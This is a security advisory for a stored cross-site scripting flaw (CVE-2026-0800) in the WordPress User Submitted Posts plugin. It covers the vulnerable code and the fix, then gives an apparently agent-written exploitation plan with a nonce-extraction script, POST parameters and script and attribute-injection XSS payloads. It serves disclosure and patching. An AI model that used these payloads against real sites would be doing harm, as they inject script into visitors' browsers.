User Submitted Posts – Enable Users to Submit Posts from the Front End <= 20251210 - Unauthenticated Stored Cross-Site Scripting via Custom Field
Description
The User Submitted Posts – Enable Users to Submit Posts from the Front End plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the custom fields in all versions up to, and including, 20251210 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=20251210What Changed in the Fix
Changes introduced in v20260110
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-0800 ## 1. Vulnerability Summary The **User Submitted Posts** plugin (<= 20251210) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin allows guest users to submit posts containing custom metadat…
Show full research plan
Exploitation Research Plan - CVE-2026-0800
1. Vulnerability Summary
The User Submitted Posts plugin (<= 20251210) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin allows guest users to submit posts containing custom metadata (Name, URL, Email) which is subsequently saved and rendered in the post content on the front end without adequate sanitization or output escaping. Specifically, the "Auto-display" features inject raw meta values into the the_content filter.
2. Attack Vector Analysis
- Endpoint: The front-end post submission form, typically rendered via the
[user-submitted-posts]shortcode. - Action: A
POSTrequest to any page containing the submission form (or the site root if the plugin processes submissions globally). - Vulnerable Parameters:
user-submitted-name(maps to metauser_submit_name)user-submitted-url(maps to metauser_submit_url)user-submitted-email(maps to metauser_submit_email)
- Authentication: None required (Unauthenticated).
- Preconditions:
- The "Auto-display" settings for Name, URL, or Email must be enabled (set to 'before' or 'after').
- The "Post Status" should ideally be set to "Publish Immediately" for instant verification, though "Pending" posts still store the payload for later execution.
3. Code Flow
- Submission: When a user submits the form, the plugin (likely in
library/form-functions.php, though partially seen inuser-submitted-posts.php) processes the$_POSTdata. - Storage: Functions like
usp_get_submitted_title()and logic associated withusp_get_custom_field()retrieve input. The plugin saves these values to the database usingadd_post_meta()orupdate_post_meta()with keys likeuser_submit_name. - Display (Sink): In
library/core-functions.php, the functionusp_auto_display_name($content)(and its counterparts for URL and Email) is hooked intothe_content.- It retrieves the meta:
$author = get_post_meta(get_the_ID(), 'user_submit_name', true); - It defines a replacement pattern:
$patterns[0] = "/%%author%%/"; - It performs a replacement into a markup string:
$markup = preg_replace($patterns, $replacements, $markup); - Crucially, no escaping (e.g.,
esc_html,esc_attr) is applied to$authorbefore it is concatenated into$content.
- It retrieves the meta:
- Execution: When any user views the submitted post, the XSS payload is rendered as part of the post content and executes in the browser.
4. Nonce Acquisition Strategy
The plugin uses a nonce for front-end submissions to prevent CSRF, even for unauthenticated users.
- Identify Shortcode: The primary shortcode is
[user-submitted-posts]. - Setup Page: Create a public page containing this shortcode.
- Extraction:
- Navigate to the page using
browser_navigate. - The nonce is typically found in a hidden input field within the form or localized via
wp_localize_script. - Based on standard USP behavior, check for a hidden input named
usp-nonce. - JavaScript Retrieval:
browser_eval("document.querySelector('input[name=\"usp-nonce\"]')?.value").
- Navigate to the page using
5. Exploitation Strategy
- Preparation:
- Set plugin options to auto-publish and auto-display Name and URL.
- Target URL: The URL of the page containing the
[user-submitted-posts]shortcode. - Payload:
<script>alert(document.domain)</script> - HTTP Request (via
http_request):- Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
user-submitted-title:Test XSS Postuser-submitted-content:This is a test post.user-submitted-name:<script>alert('XSS_NAME')</script>user-submitted-url:http://example.com" onmouseover="alert('XSS_URL')user-submitted-category:1(usually 'Uncategorized' ID)usp-nonce:[EXTRACTED_NONCE]usp_save:Submit Post(or the equivalent submit button name)
- Method:
6. Test Data Setup
- Configure Plugin Options (via WP-CLI):
# Enable auto-display of name and URL before the content wp option patch update usp_options auto_display_name 'before' wp option patch update usp_options auto_display_url 'after' # Set posts to publish immediately for easy testing wp option patch update usp_options usp_post_status 'publish' # Ensure name and URL fields are enabled wp option patch update usp_options usp_name 'show' wp option patch update usp_options usp_url 'show' - Create Submission Page:
wp post create --post_type=page --post_title="Submit Here" --post_content='[user-submitted-posts]' --post_status=publish
7. Expected Results
- The
http_requestshould return a successful status (usually a 200 or 302 redirect). - A new post should be created.
- When navigating to the new post's URL, the HTML source should contain the raw, unescaped payload:
<p>...<script>alert('XSS_NAME')</script>...</p>- Or within the URL markup:
<a href="http://example.com" onmouseover="alert('XSS_URL')">...</a>
8. Verification Steps
- Check Post Creation:
wp post list --post_type=post --status=publish - Verify Meta Content:
POST_ID=$(wp post list --post_type=post --post_status=publish --field=ID | head -n 1) wp post meta get $POST_ID user_submit_name - Verify Frontend Output:
Usehttp_request(GET) on the post permalink and grep for the payload string.
9. Alternative Approaches
- Custom Fields: If
user-submitted-nameis sanitized, tryusp_get_custom_field()(mapped tocustom_namein options). The code showsusp_get_custom_fieldusesusp_sanitize_content, which might be bypassed or insufficient for XSS if it only targets script tags and not attribute-based injection. - Attribute Injection: If
<script>tags are stripped, use:" onmouseover="alert(1)" style="position:fixed;top:0;left:0;width:100%;height:100%;" "
Inject this into theuser-submitted-urlfield, which is often placed inside anhrefattribute.
Summary
The User Submitted Posts plugin is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS) due to the failure to sanitize and escape user-submitted metadata. Attackers can inject arbitrary scripts into fields like Name, URL, or Email, which are then rendered without protection when the plugin's 'Auto-display' feature is enabled.
Vulnerable Code
// library/core-functions.php function usp_auto_display_email($content) { // ... (lines 149-166) if (!empty($email)) { $patterns = array(); $patterns[0] = "/%%author%%/"; $patterns[1] = "/%%email%%/"; $patterns[2] = "/%%title%%/"; $replacements = array(); $replacements[0] = $author; $replacements[1] = $email; $replacements[2] = $title; $markup = preg_replace($patterns, $replacements, $markup); --- // library/core-functions.php function usp_auto_display_name($content) { // ... (lines 191-204) if (!empty($author)) { $patterns = array(); $patterns[0] = "/%%author%%/"; $replacements = array(); $replacements[0] = $author; $markup = preg_replace($patterns, $replacements, $markup); --- // library/core-functions.php function usp_auto_display_url($content) { // ... (lines 231-248) if (!empty($url)) { $patterns = array(); $patterns[0] = "/%%author%%/"; $patterns[1] = "/%%url%%/"; $patterns[2] = "/%%title%%/"; $replacements = array(); $replacements[0] = $author; $replacements[1] = $url; $replacements[2] = $title; $markup = preg_replace($patterns, $replacements, $markup);
Security Fix
@@ -272,11 +272,11 @@ $patterns[4] = "/%%title%%/"; $replacements = array(); - $replacements[0] = $author; - $replacements[1] = $label; - $replacements[2] = $name; - $replacements[3] = $value; - $replacements[4] = $title; + $replacements[0] = wp_kses_post($author); + $replacements[1] = wp_kses_post($label); + $replacements[2] = wp_kses_post($name); + $replacements[3] = wp_kses_post($value); + $replacements[4] = wp_kses_post($title); $markup = preg_replace($patterns, $replacements, $markup); @@ -323,11 +323,11 @@ $patterns[4] = "/%%title%%/"; $replacements = array(); - $replacements[0] = $author; - $replacements[1] = $label; - $replacements[2] = $name; - $replacements[3] = $value; - $replacements[4] = $title; + $replacements[0] = wp_kses_post($author); + $replacements[1] = wp_kses_post($label); + $replacements[2] = wp_kses_post($name); + $replacements[3] = wp_kses_post($value); + $replacements[4] = wp_kses_post($title); $markup = preg_replace($patterns, $replacements, $markup);
Exploit Outline
The exploit is performed by an unauthenticated attacker targeting the front-end post submission form (usually available via the `[user-submitted-posts]` shortcode). 1. The attacker first visits the submission page to extract the required `usp-nonce` from the hidden input field in the form. 2. The attacker submits a POST request to the site containing a payload in parameters such as `user-submitted-name` or `user-submitted-url`. A payload like `<script>alert(document.domain)</script>` or attribute-based injection like `" onmouseover="alert(1)"` is used. 3. The malicious input is saved as post meta (e.g., `user_submit_name`) without adequate sanitization. 4. When the post is viewed on the front end, and the plugin's 'Auto-display' settings for the affected fields are enabled, the plugin injects the raw metadata into the post content via the `the_content` filter, resulting in the execution of the script in the victim's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.